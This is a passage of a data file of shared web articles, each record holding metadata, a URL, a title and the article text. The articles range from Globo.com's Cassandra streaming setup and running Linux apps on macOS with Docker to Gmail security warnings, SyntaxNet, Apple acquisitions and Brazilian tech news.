Globo.com then introduced a Digital Video Recording (DVR) feature underpinned by in-memory storage Redis, which allowed users to pause and rewind videos on a cache-like set up. The feature worked well for the football competitions since the firm was only broadcasting a maximum of two matches at a time. The requirement to scale then became apparent during the General Elections that year, when the Internet group needed to broadcast 27 candidate debates simultaneously. High availability and scalability were key concerns in terms of storage to support the live streaming operation, which Globo.com sought to address by trying out the open source version of Cassandra. ""Shortly after the World Cup we started to use DVR more broadly but it wouldn't scale at all in the way we needed: streaming one live channel was already a challenge, let alone more than 100 channels. That's what prompted our decision to try Cassandra,"" says Macaubas. ""We have a strong open source culture at Globo and we could hear that Netflix was one of the companies using [Cassandra] and recommending it strongly so we went for it and allocated 4 super servers to record all of our streaming,"" he adds. According to Macaubas, the team needed to produce six different versions of the streaming to adapt to the user's broadband quality, meaning it actually had about 600 streaming channels being broadcast within the initial 100 channels. ""That means we have a huge demand in terms of real-time recording and also that if we introduce latency, this will generate delays so we have to be fast - and that's where Cassandra shines,"" the manager says. After the positive experience from the Brazilian elections, Globo's online team was confident enough to test the new architecture on its two main products, Globosat Play and Globo Play. This resulted in 168 new streams, worth 88GB of disk space, being ingested and streamed on the platform. Complex requirements The media firm then decided to move on to DataStax's enterprise version of Cassandra earlier this year, following a realization that getting access to round the clock support was crucial to prepare for the Olympic Games. ""We had some serious issues upgrading from one version to the next of the open source version of Cassandra and realized that we had much more complex needs than what our in-house skills would be able to address, so we decided to use the enterprise version in order to get the support we needed,"" says Macaubas. Globo has its own infrastructure for streaming and does not use content delivery networks (CDNs). The company also has access to a Internet Exchange Point (IXP) provided by the Brazilian Network Information Center for traffic offloads. In addition, the firm also has distribution agreements with most local Internet Service Providers. The media company currently uses two Datastax Enterprise 4.8 datacenters, with four nodes each, one based in Rio de Janeiro and another in São Paulo. According to Macaubas, the company already employed 60 servers for live broadcasting and that number was increased to about 100 to cover the demand during the Games. The replication factor is two and query consistency levels are defined as one, since the dataset is never updated, eliminating the need to check consistency on other nodes, improving response time. Each node runs on RHEL 6.5 and has 24 cores, 64GB of RAM and 1TB SSD. Various load testing events were also carried out ahead of the Games, with the equivalent of double the amount of signals and demand expected for the period during a 2-3 week timeframe, in addition to charging the distribution infrastructure. According to Macaubas, one of the main technical lessons learned during the progressive adoption of Cassandra was the requirement to use solid state drives (SSDs). That is because they handle writes better than traditional spinning disks. ""You absolutely cannot do Cassandra clusters without SSD,"" he says. However, the biggest lesson was not technology-related, but rather a human one. ""We are very happy with our current Cassandra set up and we have a very good level of support,"" Macaubas says. ""But this journey has also shown that you also have to be humble enough to ask for help when you need it.""",en
1470919170,CONTENT SHARED,-4303046765246718776,-8020832670974472349,-973834803244741286,,,,HTML,http://blog.alexellis.io/linux-desktop-on-mac/,Bring Linux apps to the Mac Desktop with Docker,"If you use Linux as your host operating system then with one or two commands you can have most graphical Linux applications up and running on your desktop in seconds. Package managers like apt-get , yum and pacman make installing new software almost seamless. If you are running an XWindows server (which you probably are) then getting a graphical application to appear on your screen from a remote Linux system or a Docker container can be as simple as setting the DISPLAY environmental variable. But macOS though? Many applications that exist for Linux also exist for Mac: Chrome, FireFox, VLC Player, Slack, Arduino IDE etc. In some cases they have been ported and re-built natively and even optimized to take advantage of the OS. So why would you want to run Linux versions of apps on your Mac? Here are a few reasons why you may want to use Docker to run Linux applications on macOS: To access to newer versions of software To test various versions of the same software simultaneously To use tools which may not be ported to macOS yet For sandboxing an application: To tighten up on security or to isolate and/or spy on network traffic Since Docker provides a sandboxed environment for applications that means you can add/remove just the capabilities you want and tighten up on security. Runtime privilege and Linux capabilities Several paid tools exist for macOS to isolate network traffic and push it down different HTTP proxies or SOCKS tunnels depending on custom rulesets. This is ideal if you frequently work on public WiFi networks or behind a restrictive corporate network. By using your own hosted proxy server or VPN you can protect some or all of your traffic. So why pay for something you can do for free with Docker? Slack for Linux running on the Mac Desktop in El Captain Step-by-step Here's what you need to do to bring X11 to your Desktop. 1. Install an X11 server An X11 server exists for MacOS which allows applications like XTerm to run and display output on your local computer. It's packaged up as the XQuartz project and can be installed with brew : 2. Build your Dockerfile Once you have XQuartz set up you can then install your favourite graphical Linux apps into a Debian container or whichever distribution you prefer. Fork the Dockerfile I adapted this Dockerfile from one that Jess Frazelle came up with. It appeared to be broken when I tried it so I've added some more packages to fix the runtimes errors I encountered. You may also be asking yourself why I've added slack from the local filesystem instead of using wget or curl . If you need to fetch the binary from a specific HTTP proxy or VPN tunnel then you may not want Docker to handle that. Run this before building the Dockerfile or move it back into the file itself as a RUN step: Most packages are available in package repositories or PPAs so apt-get could be used, but Slack is an exception to the rule. 3. Set up XQuartz for network connections By default XQuartz will listen on a UNIX socket, which is private and only exists on local our filesystem. This means Docker won't be able to access it. Install and run socat to create a tunnel from an open X11 port (6000) through to the local UNIX socket where XQuartz is listening for connections: This will block, so open a new tab or terminal. 4. Start the application Build your Dockerfile, then start it by passing in an environmental variable for the DISPLAY so your graphical application knows where to show itself. Change the IP address of 192.168.0.15 to whatever you see on ifconfig . For extra points you could: Use docker-compose to make starting/stopping the app easier and manage the container Bind-mount an options directory so the container can 'remember' your communities. I.e. -v /home/alex/.slack:/root/.config/slack Use a script to find the IP address to insert into the DISPLAY variable. Create a docker-compose.yml file for easy starting/stopping of the application. (See below) 4.1 Note on proxies: If you want an app such as Slack to use a HTTP_PROXY then you can pass in the environmental variable at runtime. Here's an example with a docker-compose.yml file for convenience: docker-compose.yml 5. Wrapping up X11 forwarding from Docker to Linux is fast and can be accelerated by sharing additional resources such as /dev/video0 or /dev/shm , unfortunately this is not possible with Docker on macOS. When forwarding apps from Docker to XQuartz you may find that they do not run correctly or have unexpected lag. This may be because hardware acceleration and use of the GPU is not available, but the applications may still be useable enough for you to get the benefits. See also: Getting started with Docker 1.12 Swarm-Mode Acknowledgements: Most of what I've outlined above came from reading a Github issue from 2015: Docker issue #8710 . For examples of running popular Linux apps on the Linux Desktop see Jess' Containers on the Desktop blog post . Let me know if you know of any way of accelerating the performance of X11-forwarded apps on macOS. Or if you have any other tips or hacks, send me a tweet @alexellisuk or post a comment. Please enable JavaScript to view the",en
1470922508,CONTENT SHARED,-5055745575969002313,-1387464358334758758,-8655979246134452520,,,,HTML,http://googleappsupdates.blogspot.com.br/2016/08/making-email-safer-with-new-security-warnings-in-gmail.html,Making email safer with new security warnings in Gmail,"Starting this week, we're introducing two new security warnings in Gmail to help you keep your email safer. On the web or Android, if you receive a message that can't be authenticated with either Sender Policy Framework (SPF) or DKIM , you'll see a question mark in place of the sender's profile photo, corporate logo, or avatar. On the web, if you receive a message with a link to a dangerous site known for phishing, malware, and Unwanted Software , you'll begin to see warnings when you click on the link. These warnings are an extension of the Safe Browsing protection available to various web browsers today. The full-page warning will look like this: Please note: Not all affected email will necessarily be dangerous. But we encourage you to be extra careful about replying to, or clicking on links in messages that you're not sure about. And with these updates, you'll have the tools to make these kinds of decisions. Launch Details Release track: Launching to Rapid release, with scheduled release coming in 2 weeks Rollout pace: Gradual rollout (potentially longer than 3 days for feature visibility) Action: Change management suggested. The Help Center articles below outline the expected behavior, and can be used to help effectively communicate these changes to users. More Information Note: all launches are applicable to all Google Apps editions unless otherwise noted Help Center: Check if your Gmail message is authenticated Help Center: Safer Links in Gmail Launch release calendar Launch detail categories Get these product update alerts by email Subscribe to the RSS feed of these updates",en
1470922612,CONTENT SHARED,-5628897645967553681,-5527145562136413747,-145525363878254760,,,,HTML,http://itspronouncedmetrosexual.com/2015/03/the-genderbread-person-v3/,The Genderbread Person v3 | It's Pronounced Metrosexual,"Taking the lessons learned from version 2 , and applying them to sexuality in a more meaningful way, here's my best rendition of the genderbread person yet. If you want to see a more in-depth explanation using the first version of this graphic I made, check out my post Breaking through the binary: Gender explained using continuums . Someone pointed out that I hadn't shared this here yet, even though it's been out for awhile. I am in disbelief about how long it's taken me to get this up on the site. I really don't know what happened - time flies? I created the first iteration of my version 3 of the genderbread person when I published my book back in 2013. I've posted it on Facebook , it's been translated a few times, it's even been Santafied , and don't have much of an explanation to share for why I've neglected to share it here. But... here it is! Sorry? Sorry. What's new? There are two big differences from v2 to the most recent v3: separating romantic & sexual attraction, and the labeling of the continua. I'm also sharing it here with a more simplified version that I encourage folks to use for Powerpoints or to supplement any articles they're writing, where the additional verbiage isn't necessary. Separating romantic and sexual attraction is a more accurate way of describing some of the ways we all experience attraction (or don't), and it's also an effort to make the graphic more inclusive of asexual folks. Check out this great article on Asexuality.org about sexual and romantic attraction if you'd like to read more. Labels have always been one of the toughest parts of of the genderbread person , because in my versions I'm trying to simultaneously reinforce folks current understandings (or former, or problematic ) of gender, while expanding and building upon their understanding, enhancing it, and making it a more honest depiction of the ways we all actually experience gender. Using the language that reinforces problematic and limiting understandings of gender as a means to expand understanding feels a lot like using the master's tools to deconstruct the master's house , and in this version I'm trying to get away from as much language as possible. Here's a testament to that ""less language is better"" sentiment, a more Powerpoint-friendly version you're welcome to use: What's the same? It's still totally uncopyrighted and yours to use however you'd like. No need to ask for permission. It's still based on the deconstruction of gender into identity, expression, and sex, building on my second and first versions of the genderbread person, which are my spin on the model that's been around for a couple decades, which was based on the work of feminists from the past century. And it's still, I hope, as adorable as ever. Join the Discussion",en
1470927480,CONTENT SHARED,5237574390644778994,-1443636648652872475,-4660233361522093222,,,,HTML,https://research.googleblog.com/2016/08/meet-parseys-cousins-syntax-for-40.html,"Meet Parsey's Cousins: Syntax for 40 languages, plus new SyntaxNet capabilities","Just in time for ACL 2016 , we are pleased to announce that Parsey McParseface, released in May as part of SyntaxNet and the basis for the Cloud Natural Language API , now has 40 cousins! Parsey's Cousins is a collection of pretrained syntactic models for 40 languages, capable of analyzing the native language of more than half of the world's population at often unprecedented accuracy . To better address the linguistic phenomena occurring in these languages we have endowed SyntaxNet with new abilities for Text Segmentation and Morphological Analysis . When we released Parsey, we were already planning to expand to more languages, and it soon became clear that this was both urgent and important, because researchers were having trouble creating top notch SyntaxNet models for other languages. The reason for that is a little bit subtle. SyntaxNet, like other TensorFlow models, has a lot of knobs to turn, which affect accuracy and speed. These knobs are called hyperparameters, and control things like the learning rate and its decay, momentum, and random initialization. Because neural networks are more sensitive to the choice of these hyperparameters than many other machine learning algorithms, picking the right hyperparameter setting is very important. Unfortunately there is no tested and proven way of doing this and picking good hyperparameters is mostly an empirical science -- we try a bunch of settings and see what works best. An additional challenge is that training these models can take a long time, several days on very fast hardware. Our solution is to train many models in parallel via MapReduce , and when one looks promising, train a bunch more models with similar settings to fine-tune the results. This can really add up -- on average, we train more than 70 models per language. The plot below shows how the accuracy varies depending on the hyperparameters as training progresses. The best models are up to 4% absolute more accurate than ones trained without hyperparameter tuning. In order to do a good job at analyzing the grammar of other languages, it was not sufficient to just fine-tune our English setup. We also had to expand the capabilities of SyntaxNet. The first extension is a model for text segmentation, which is the task of identifying word boundaries. In languages like English, this isn't very hard -- you can mostly look for spaces and punctuation. In Chinese, however, this can be very challenging, because words are not separated by spaces. To correctly analyze dependencies between Chinese words, SyntaxNet needs to understand text segmentation -- and now it does. The second extension is a model for morphological analysis. Morphology is a language feature that is poorly represented in English. It describes inflection: i.e., how the grammatical function and meaning of the word changes as its spelling changes. In English, we add an -s to a word to indicate plurality. In Russian, a heavily inflected language , morphology can indicate number, gender, whether the word is the subject or object of a sentence, possessives, prepositional phrases, and more. To understand the syntax of a sentence in Russian, SyntaxNet needs to understand morphology -- and now it does. As you might have noticed, the parse trees for all of the sentences above look very similar. This is because we follow the content-head principle, under which dependencies are drawn between content words, with function words becoming leaves in the parse tree. This idea was developed by the Universal Dependencies project in order to increase parallelism between languages. Parsey's Cousins are trained on treebanks provided by this project and are designed to be cross-linguistically consistent and thus easier to use in multi-lingual language understanding applications. Using the same set of labels across languages can help us understand how sentences in different languages, or variations in the same language, convey the same meaning. In all of the above examples, the root indicates the main verb of the sentence and there is a passive nominal subject (indicated by the arc labeled with 'nsubjpass') and a passive auxiliary ('auxpass'). If you look closely, you will also notice some differences because the grammar of each language differs. For example, English uses the preposition 'by,' where Russian uses morphology to mark that the phrase 'the publisher (издателем)' is in instrumental case -- the meaning is the same, it is just expressed differently. Google has been involved in the Universal Dependencies project since its inception and we are very excited to be able to bring together our efforts on datasets and modeling. We hope that this release will facilitate research progress in building computer systems that can understand all of the world's languages. Parsey's Cousins can be found on GitHub , along with Parsey McParseface and SyntaxNet .",en
1470930750,CONTENT SHARED,4807721425375438334,-4627026983118548639,4832971499823938626,,,,HTML,http://www.mediapost.com/publications/article/282022/apple-acquires-machine-learning-company-turi-for.html?utm_source=newsletter&utm_medium=email&utm_content=readmore&utm_campaign=95344&dt=9,Apple Acquires Machine Learning Company Turi For $200 Million,"Apple has reportedly acquired machine learning and artificial intelligence startup Turi for $200 million. Turi is a Seattle-based company that has created a software platform for other companies to build apps that utilize machine learning and AI. Customers have used the platform to build recommendation engines and fraud detectors, as well as apps that predict customer churn, run sentiment analysis, and segment customers. Companies like Google and Facebook use machine learning to speed up searches and classify images/facial recognition, among other things. The company has raised $25.25 million in two funding rounds, the most recent in January 2015. Seattle is apparently a hub for the burgeoning machine-learning industry, with several companies in the space headquartered there. Apple has been building up a presence in the Northwest - after buying Union Bay Networks in 2014, the company opened an engineering office in Seattle. The CEO of Turi, Carlos Guestrin, is also the Amazon professor of machine learning at the University of Washington - a position endowed by Jeff Bezos, Amazon's CEO. Turi originally was an open-source project at Carnegie Mellon that Guestrin headed up. The project followed him to Washington when he joined the faculty there and was subsequently spun off into its own company. Apple has purchased other similar machine learning companies in the past, including Perceptio and VocalIq, and will most likely continue to be actively engaged in M&A.",en
1470932121,CONTENT SHARED,5380540855517464621,-709287718034731589,3227212241802676138,,,,HTML,http://www.cultofmac.com/441723/today-in-apple-history-happy-birthday-steve-wozniak/,Today in Apple history: Happy birthday Steve Wozniak,"Woz turns 65 today. Photo: Madame Tussauds August 11, 1950: Apple co-founder Steve Wozniak is born. While Steve Jobs may be the most admired figure to come out of Apple, a good argument can be made that Woz is the most well-loved by fans. In addition to his most famous creation, the Apple II , Wozniak is also responsible for imbuing Apple's products with his own fun-loving personality. Compared with the prickly Jobs, Wozniak was always the more relatable figure to tech geeks. Whether you viewed Jobs as a glorified salesman (which, in Apple's early years, was a common misconception on the part of people outside the company), or the cool hippie who dreamed of going off to find himself in India, Woz was more clearly one of us. He embraced the rebel hacking mentality of Silicon Valley's hobbyist Homebrew Computer Club , where the first Apple computer was shown off. Later on, despite having played a key role in inventing the personal computer - most notably with the revolutionary Apple II - he spent his fortune having fun instead of trying to take over the world. Right from the start, Woz was a prankster. During his short stint at Berkeley University, he rigged the university computer so that it churned out endless reams of paper reading ""GOOD SCRAP PAPER."" During his time at Apple Woz once sneaked into the cubicle of a colleague and put a live mouse inside their computer - and then watched on as they became more and more confused by their machine's odd squeaking sounds. Even on important occasions, Woz remained light-hearted. When the Apple II made its public debut at the West Coast Computer Faire in 1977 (the equivalent of one of Apple's big keynote events today - only with competing products exhibited too), Wozniak played a prank on Jobs by handing him a brochure for another superior computer, supposedly launched that same day. Complete with parody Jony Ive-esque comments like ""Imagine a car with five wheels,"" Woz didn't let Jobs know that the so-called ""Zaltair"" computer was a hoax until years later, when he gave him a framed copy of the brochure for Jobs' birthday. Today, the kind of geeky in-jokes that Woz loved is instantly recognizable as nerd culture. However, in a day before the internet, the fact that Woz's humor and good-natured persona was somehow able to be distilled into Apple's computers and marketing made Apple feel different to other rival companies at the time. Woz was the geeky yin to Jobs' polished yang . Inside Apple, he was also a peacemaker - who would stick up for people in a way that has never been forgotten. When Steve Jobs began barring certain early employees from having stock options for reasons few could understand, Wozniak started giving away his own Apple shares to employees who otherwise wouldn't qualify. When Apple went public in 1980, he took home $100 million less than Jobs as a result. Finally, Wozniak was a damn fine engineer. Although the Apple II is the computer he's most associated with, perhaps his crowning achievement was the Disk II, a.k.a. Apple's first 5 ½-inch floppy disk. Created with then-17 year old Apple employee Randy Wigginton over Christmas 1977, the Disk II massively increased the functionality of Apple's popular personal computer. It was also the first example of Apple's continuing high margin business model: costing just $140 in components, and selling for upwards of $495. Today Woz continues to make his presence felt in the tech community - even though he's been largely absent from Apple for many years. A lot of his continuing presence revolves around fun nerdy appearances like his cameos on The Big Bang Theory , becoming a Tetris world champion , whipping out some dance moves on Dancing with the Stars , and his continued enthusiasm about Segways . But he's also continued to speak out about what he views as the utopian mission of technology: whether that means asking Apple and Google to put aside their differences for the greater good, or campaigning the FCC to keep the internet free . Happy birthday, Woz!",en
1470932151,CONTENT SHARED,2359690284139785648,-709287718034731589,3227212241802676138,,,,HTML,https://9to5mac.com/2016/08/11/apple-rehires-flipboard-co-founder/,Apple rehires former senior iOS engineer turned Flipboard co-founder for health software,"As it continues to expand its health services for users, Apple has rehired Flipboard co-founder Evan Doll. According to Doll's LinkedIn profile , he will work in the company's health software department. Doll apparently rejoined Apple last month as a ""director of health software engineering"" (via Bloomberg ). Doll originally worked at Apple from 2003 to 2009 as a software engineer. At first, he was a pro applications software engineer, though he later shifted his focus to developing an operating system for the iPhone. In 2009, however, a year after the App Store launch, Doll left Apple to co-found the popular news app Flipboard. With iOS 9, Apple introduced its own News app, which Flipboard quickly responded to by noting similarities with the service and its own apps. Flipboard CEO Mike McCue seemed intent on keeping an amicable relationship with Apple, though, noting that it wasn't a ""winner take all"" situation. Nevertheless, Doll departed Flipboard last September as part of a bigger exodus of executives. Doll is not the first health/fitness hire Apple has made in recent years. In 2014, Apple was hiring a multitude of higher-ups from the medical sensor field , while that same year it also hired a pair of key Nike FuelBand engineers . Those hires followed Nike FuelBand developer and fitness expert Jay Blahnik joining Apple. Apple has also hired at least one employee with a focus on FDA approvals and product testing. A vague report earlier this week claimed that Apple is working on a ""killer device"" in the health field that will be released sometime next year. The report, however, gave no specifics on what the device will be capable of other than tracking blood sugar and heart-rate. The suggestion of a standalone health product makes sense, seeing that Tim Cook said last year that future health products would separate from the Watch in an effort to avoid FDA approvals slowing the pace of Watch innovation. Tim Cook has increasingly touted the fitness and wellness capabilities of Apple's product lineup, making a handful of improvements to the features with the upcoming launch of iOS 10 and watchOS 3 .",en
1470938396,CONTENT SHARED,6644171916702621557,-1836083230511905974,7109115708327615090,,,,HTML,https://medium.com/@andremion/criando-%C3%ADcones-animados-no-android-14b2d5feb877,Criando ícones animados no Android,"AnimatedVectorDrawable Com um AnimatedVectorDrawable podemos animar as propriedades de um VectorDrawable , e para isto, basicamente precisamos de três arquivos XML : Um VectorDrawable <vector> na pasta res/drawable/ Um ou mais ObjectAnimator <objectAnimator> ou AnimatorSet <set> na pasta res/anim/ E um AnimatedVectorDrawable <animated-vector> na pasta res/drawable/ É possível animar atributos de um elemento <group>, <path> ou do próprio <vector>. Elementos <group> são utilizados para agrupar paths ou subgrupos que precisam ser animados em conjunto. Quando definimos um VectorDrawable precisamos usar o atributo android:name e definir um nome único nos elementos que queremos animar, para então podermos referenciá-los das definições do Animator . Exemplo: O elemento <group> define um conjunto chamado "" rotation "". Já o elemento <path> define as formas geométricas a serem desenhadas cujo nome é "" menu "". 2.1. Definições da animação são representadas por objetos ObjectAnimator ou AnimatorSet . Neste exemplo, o Animator rotaciona o alvo em 180 graus com duração de 500 milisegundos. 2.2. O segundo Animator neste exemplo, transforma um path de uma forma para outra. Ambos os paths precisam ser compatíveis para a transformação: Eles devem ter a mesma quantidade de comandos e de parâmetros para cada comando . As definições de um AnimatedVectorDrawable servem de ligação entre o VectorDrawable e as definições de animações. O AnimatedVectorDrawable é carregado como um Drawable comum, porém, é preciso chamar o método start() para iniciar a animação: Um vez configurado corretamente, veremos o ícone animar desta forma (a duração da animação foi ampliada para 2 segundos):",pt
1470995704,CONTENT SHARED,2573252627510191315,3217014177234377440,3089616625396796977,,,,HTML,http://www.labnol.org/internet/auto-expire-google-drive-links/27509/,[Security] How to Set Expiration Dates for Shared Google Drive Files,"Learn how to temporarily share files in Google Drive that are accessible for a limited time. You can set an auto-expiry date and the shared Google Drive links will stop working after the specified date and time. Works for both Gmail and Google Apps accounts. When you share any file or folder in Google Drive with another user, the shared links will work forever unless you manually change the sharing permissions. For instance, if you have shared a document with an external vendor, they'll continue to have access to the file long after your business contract may have ended. In such a situation, wouldn't it be nice if you could set expiration dates while sharing files in Google Drive? For instance, share a document temporarily for, say, 10 days and access to the file should be revoked automatically after that period has passed. Add an Auto-Expiry Date for Shared Links in Google Drive Google Drive does let you set expiration dates for shared links but this option is only available to paid Google App for Work accounts. Well, no worries. If you have a free Google account, you can still create temporary links that auto-expire after a certain time. Here's a step by step guide: Go to labnol.org/expire and authorize the web app to access your Google Drive. Open the File Picker and select any file or folder in your Google Drive that you would like share. Enter one or more email addresses (comma separated) of users who should be given viewer (read-only) or editor (read & write) access to your file. Finally, specify the time period after which the access should be limited. You can say 5 hours or 3 weeks or even 2 years. Click the ""Set Expiration"" button and you are done. The Google Script will set a time-based trigger that will automatically remove the specified user from the access list after the specified date and time. You can also use the Google Drive Auditor add-on to analyze the shared permissions of every file in your Google Drive and know who can see your files . The auto-expiry app will list all the files and folders that are set to expire after a certain period. You can click the ""cancel"" link against any Drive link to prevent that shared link from expiring automatically. Also see: Make a Google Drive Tree ( video )",en
1471002109,CONTENT SHARED,-3387888707667201720,-5639303336519418445,5330751904687542064,,,,HTML,https://www.linkedin.com/pulse/ap%C3%B3s-9-meses-de-opera%C3%A7%C3%A3o-e-sucesso-mete%C3%B3rico-uber-%C3%A9-vendido-gonzalez,"Após 9 meses de operação e sucesso meteórico, Uber é vendido na China.","Após longo duelo no mercado chinês, o Uber decide jogar a toalha. Empresa vendeu sua operação na China para a concorrente Didi Chuxing. A transação envolveu 35 bilhões de dólares. O aplicativo continuará existindo na China, por enquanto as empresas serão combinadas. Travis Kalanick, o presidente executivo do Uber e o chefe da Didi Chuxing vão se unir no conselho de administração. (Fonte G1) Após ser lançado na China, o Uber em nove meses de operação realizou 479 vezes mais viagens do que o mesmo período em Nova York. (Fonte: Bussiness Insider ) A empresa tinha operação em mais de 60 cidades chinesas e realizava mais de 150 milhões de corridas por mês. Porém, os números não mostram tudo. A empresa vinha sofrendo muito com as condições regulatórias extremas do país como falta de segurança, assaltos aos motoristas, críticas ao serviço assim como forte concorrência. Aparentemente, fica uma lição para as empresas de tecnologia que pretendem entrar no mercado Chinês. Apesar de todo o poderio financeiro do UBER, a empresa não conseguiu se adaptar ao mercado da China e vender sua operação para a concorrente foi a solução encontrada para continuar operando lá. ""Servir as cidades chinesas, seus passageiros e motoristas, só é possível com essa parceria. A fusão abre caminho para seguirmos em frente com a grande missão de possibilitar investimentos mais ousados, focados na sustentabilidade das cidades a partir de tecnologias de auto-condução."" - Disse Travis Kalanick para Reuters.",pt
1471002666,CONTENT SHARED,6540624159201421051,-1602833675167376798,-4293036500619421365,,,,HTML,https://pagamento.me/bradesco-vai-lancar-novo-banco-digital-o-next/,Bradesco vai lançar novo banco digital: o Next.,"Bradesco vai lançar novo banco digital. Com o nome de Next , o banco pretende lançar o novo produto em breve. Já não bastasse as iniciativas do grupo Elopar, o banco Bradesco vai tentar inovar e atingir o público jovem. O banco já usava o termo ""Next"" em alguns espaços das agências e agora assume o nome para o novo negócio. O banco já está em desenvolvimento dentro da Cidade de Deus, em São Paulo. O nome ""Next"" foi escolhido para falar com o potencial público alvo: millenials . A diretoria do banco nome nomeou Maurício Minas, VP do grupo, para tocar a operação. Tamanho do investimento: R$120 milhões (fontes do Estadão). A notícia vem logo após anúncio da chegada do Digio (da Elopar) , que também é controlado pelo Bradesco. O domínio Banco Next ( www.banconext.com.br ) foi registrado em 15/07/2015, o que demonstra que o banco está planejando o lançamento desde o ano passado. Parece que a ""nova onda"" do setor financeiro são os bancos digitais. Resta saber se o Next vai conseguir manter a ""pegada"" de inovação de Nubank , Banco Neon e Original . Vale frisar que esse novo ""business"" é um projeto essencialmente de inovação. Apesar da base do Bradesco e da rede de atendimento valerem o investimento, vão ter que aprender ""na marra"" como um negócio digital pode escalar. Vamos acompanhar, bem de perto.",pt
1471002882,CONTENT SHARED,-797853000484445213,-5639303336519418445,5330751904687542064,,,,HTML,http://www.meioemensagem.com.br/home/midia/2016/08/11/grupo-abril-oficializa-novo-posicionamento.html,Grupo Abril oficializa novo posicionamento - Meio & Mensagem,"Luiz Gustavo Pacete11 de agosto de 2016 - 12h05 O Grupo Abril oficializou nesta quinta-feira, 11, seu novo posicionamento. Com o slogan ""Bem-vindo à indústria do conhecimento"", a empresa ressalta a sinergia entre suas áreas: Mídia, Assinaturas, Print, Total Express, Licensing, Casa Cor, Abril BrandedContent (ABC) e Abril Big Data (ABD). ""Estamos focados em trabalhar as potencialidades individuais de cada um desses pilares e otimizar essa força por meio da combinação de suas expertises e integração entre as unidades. Acreditamos que isso nos permite atender os novos desafios do mercado"", afirma Walter Longo, presidente do Grupo Abril, que assumiu o comando do grupo em março com a missão de maximizar todas as forças que o compõem. A mudança foi adiantada por Walter ao Meio & Mensagem, em junho. Na ocasião, o executivo ressaltou que o objetivo era colocar a Abril como indústria do conhecimento e não mais como uma editora. ""Meu cliente terá a possibilidade de ter um pacote de comunicação completo. Uma campanha de publicidade seguida de e-mail marketing na qual vou falar com cada assinante e isso passa a ter muito valor dentro do ABD e do ABC, um profit center rentável que venha ajudar nessa adição"", disse Walter. Com a nova estrutura, a Abril aposta na criação de novos serviços como impressão que usam segmentação de big data até plataformas completas de supply chain e um conjunto de novas aquisições de serviços e produtos com alto nível de engajamento com os negócios do Grupo Abril. Comente ""Meio & Mensagem informa que não modera e tampouco apaga comentários, seja no site ou nos perfis de redes sociais. No site, quando o usuário ler a indicação Este comentário foi apagado' significa que o próprio comentarista deletou o comentário postado. Não faz parte da política de M&M gerenciar comentários, seja para interagir, moderar ou apagar eventuais postagens do leitor. Exceções serão aplicadas a comentários que contenham palavrões e ofensas pessoais. O conteúdo de cada comentário é de única e exclusiva responsabilidade civil e penal do cadastrado.""",pt
1471003797,CONTENT SHARED,-6970201660508635241,-5639303336519418445,5330751904687542064,,,,HTML,http://metricasboss.com.br/cultura-de-web-analytics-e-metricas.html,"Cultura de Web Analytics e Métricas, o que é? Métricas Boss","Muitas empresas ainda não possuem uma cultura de web analaytics, métricas ou analise de dados, algo que as vezes nem pensam que possa existir nos dias de hoje, mas ainda existem empresas que não possuem uma cultura de web analytics. Já falamos aqui no blog sobre como investir em web analytics , já mencionamos que a crise é o momento de investir em web analytics mas mesmo assim ainda não havíamos falado da cultura de web analytics e nesse post falaremos exatamente sobre isso! :) O que é a Cultura de Web Analytics? Um dos pontos principais é entender que Google Analytics é apenas uma das várias ferramentas de web analytics e que web analytics é a ciência de analisar os dados e transformar em ações . Logo, Web Analytics é a ciência! Uma cultura de Web Analytics ou Métricas nada mais é que retirar do centro das tomadas de decisões os famosos HIPPO definidos por Avinash Kaushik! O que É HIPPO? Avinash Kaushik no livro Web Analytics 2.0 defende que em muitas empresas as decisões são tomadas por ""Highest Paid Person's Opinion"", ou Opinião da pessoa que recebe o maior salário, basicamente essas pessoas que são lideres acabam mandando suas equipes executarem aquilo que eles acham que é o correto ou que vai dar certo, mas nem sempre são baseados em números e ou em informações do site, mas sim em basicamente AUMENTAR AS VENDAS, mas mal sabem que com mais informações é mais fácil acertar! �� Mas como você pode confrontar uma decisão de HIPPO já que ele é seu chefe, gerente, diretor ou líder? Questione a ação dele baseada em números, aí é que entra a Cultura de Web Analytics! Como diz o ditado antigo, contra fatos não há argumentos mas nesse caso você pode mudar o ditado e falar com essas pessoas que ""Contra DADOS não há argumentos"" rs. Mas basicamente se você através de dados comprovar que as informações não darão efeito ou que já foi testado antes e o retorno não foi satisfatório não tem como um HIPPO argumentar pois no final a empresa perderá dinheiro e qualquer empresa precisa justificar seus dados, se não o faz não é estranho que a empresa acabe ou venha a falir! Curtiu? Deixa seu comentário aqui! :) Veja como implementar a cultura de web analytics na sua empresa",pt
1471007526,CONTENT SHARED,-4133169317019898816,6013226412048763966,-360142285864220391,,,,VIDEO,https://www.ted.com/talks/robert_waldinger_what_makes_a_good_life_lessons_from_the_longest_study_on_happiness?language=pt-br,Robert Waldinger: Do que é feita uma vida boa? Lições do mais longo estudo sobre felicidade,"You have JavaScript disabled O que nos mantêm felizes e saudáveis ao longo da vida? Se você pensa que é fama e dinheiro, você não está sozinho - mas de acordo com o psiquiatra Robert Waldinger, você está equivocado. Como diretor de um estudo de 75 anos sobre desenvolvimento de adultos, Waldinger tem acesso sem precedentes a dados sobre a verdadeira felicidade e satisfação. Nesta palestra, ele compartilha três importantes lições aprendidas com o estudo, assim como alguns conhecimentos práticos e antiquíssimos sobre como construir uma vida longa e plena. This talk was presented to a local audience at TEDxBeaconStreet, an independent event. TED editors featured it among our selections on the home page. Enthusiastically agree? Respectfully beg to differ? Have your say here.",pt
1471007990,CONTENT SHARED,-7387185690512762935,6971525809430309144,-2898569632633959942,,,,HTML,https://medium.freecodecamp.com/angular-2-versus-react-there-will-be-blood-66595faafd51?gi=8a3b4fcebe45,Angular 2 versus React: There Will Be Blood - Free Code Camp,"Angular 2 versus React: There Will Be Blood Angular 2 has reached Beta and appears poised to become the hot new framework of 2016. It's time for a showdown. Let's see how it stacks up against 2015's darling: React . Disclaimer: I enjoyed working in Angular 1 but switched to React in 2015. I've published Pluralsight courses on React and Flux and React and Redux in ES6 ( free trial ). So yes, I'm biased. But I'm attacking both sides. Alright, let's do this. There will be blood. You're Comparing Apples and Orangutans! Sigh. Yes, Angular is a framework, React is a library. Some say this difference makes comparing them illogical. Not at all! Choosing between Angular and React is like choosing between buying an off-the-shelf computer and building your own with off-the-shelf parts. This post considers the merits of these two approaches. I compare React's syntax and component model to Angular's syntax and component model. This is like comparing an off-the-shelf computer's CPU to a raw CPU. Apples to apples. Angular 2 Advantages Let's start by considering Angular 2's advantages over React. Low Decision Fatigue Since Angular is a framework, it provides 